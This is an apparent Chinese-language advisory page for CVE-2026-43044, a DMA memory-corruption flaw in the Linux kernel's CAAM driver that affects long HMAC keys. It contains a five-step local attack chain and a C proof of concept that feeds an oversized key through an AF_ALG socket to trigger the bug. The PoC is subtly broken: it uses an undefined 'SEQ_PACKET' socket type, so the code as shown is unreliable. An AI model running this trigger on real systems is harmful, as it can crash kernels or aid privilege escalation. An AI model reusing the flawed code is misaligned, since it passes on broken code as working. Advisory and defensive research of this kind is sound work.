IPBUF安全漏洞报告
English
CVE-2026-43044 CVSS 7.8 高危

CVE-2026-43044 Linux内核CAAM驱动内存损坏漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43044
漏洞类型
内存损坏
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMemory CorruptionDMAPrivilege EscalationHMACCAAM

漏洞概述

Linux内核CAAM加密驱动程序存在DMA内存损坏漏洞。当处理超过块大小的HMAC密钥时,由于内存分配未正确应用DMA缓存对齐,导致DMA操作可能破坏相邻内存。本地低权限攻击者可利用此漏洞造成信息泄露、权限提升或系统拒绝服务。

技术细节

该漏洞位于Linux内核的CAAM(Cryptographic Acceleration and Assurance Module)驱动程序中,涉及对HMAC长密钥的处理机制。在HMAC实现中,当输入密钥长度超过哈希算法的块大小(如SHA-256的64字节)时,需先对密钥进行哈希运算。CAAM驱动程序在处理此过程时,虽然计算出了符合DMA缓存对齐要求的缓冲区大小,但在实际内存分配步骤中,错误地使用了`kmemdup`函数。该函数仅分配足够容纳原始数据的内存,忽略了之前计算的对齐填充。因此,分配的缓冲区起始地址未按DMA对齐要求对齐。当硬件执行DMA操作时,由于缓存行或DMA传输粒度的原因,会读写超出预期缓冲区范围的邻近内存区域,导致内存损坏。鉴于CVSS向量显示攻击复杂度低且无需用户交互,本地攻击者可轻易触发该漏洞,进而可能导致内核崩溃或权限提升。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标系统的本地低权限用户访问权限。
STEP 2
步骤2:调用加密接口
攻击者编写或运行程序,通过AF_ALG接口调用CAAM驱动程序处理HMAC运算。
STEP 3
步骤3:构造恶意HMAC密钥
程序向驱动程序提交一个长度超过块大小(如128字节)的特制HMAC密钥。
STEP 4
步骤4:触发DMA损坏
驱动程序使用未对齐的内存进行DMA传输,导致相邻内存区域被意外覆盖。
STEP 5
步骤5:利用后果
内存损坏可能导致内核崩溃(DoS),或通过覆盖关键数据结构实现本地权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43044: DMA Corruption on long HMAC keys in Linux CAAM driver. * This code attempts to trigger the vulnerability by sending a long HMAC key * to a crypto interface using the CAAM driver. * Note: This requires a system with the CAAM driver enabled and active. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define KEY_SIZE 128 // Larger than block size (e.g., 64 for SHA256) to trigger the bug int main() { int tfm_fd, sock_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "hmac(sha256)" // Target algorithm handled by CAAM }; // 1. Create socket tfm_fd = socket(AF_ALG, SEQ_PACKET, 0); if (tfm_fd < 0) { perror("socket"); return 1; } // 2. Bind to the algorithm (CAAM driver handles this if available) if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfm_fd); return 1; } // 3. Set the long key (Trigger the vulnerable path) char key[KEY_SIZE]; memset(key, 'A', sizeof(key)); if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { perror("setsockopt"); close(tfm_fd); return 1; } // 4. Send data to compute HMAC sock_fd = accept(tfm_fd, NULL, 0); if (sock_fd < 0) { perror("accept"); close(tfm_fd); return 1; } char msg[] = "Test Message"; if (send(sock_fd, msg, sizeof(msg), 0) < 0) { perror("send"); } printf("PoC executed. If kernel crashes or behaves unexpectedly, vulnerability is triggered."); close(sock_fd); close(tfm_fd); return 0; }

影响范围

Linux Kernel (Stable branches before specific commits e.g., 5ddfdcbe, 68feed13, a7ecf06d, c0c133e0, f2af8be1)

防御指南

临时缓解措施
建议尽快应用官方提供的内核补丁。如果无法立即升级,作为临时缓解措施,可以禁用CAAM驱动模块或严格限制本地用户对系统调用接口的访问,以减少被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表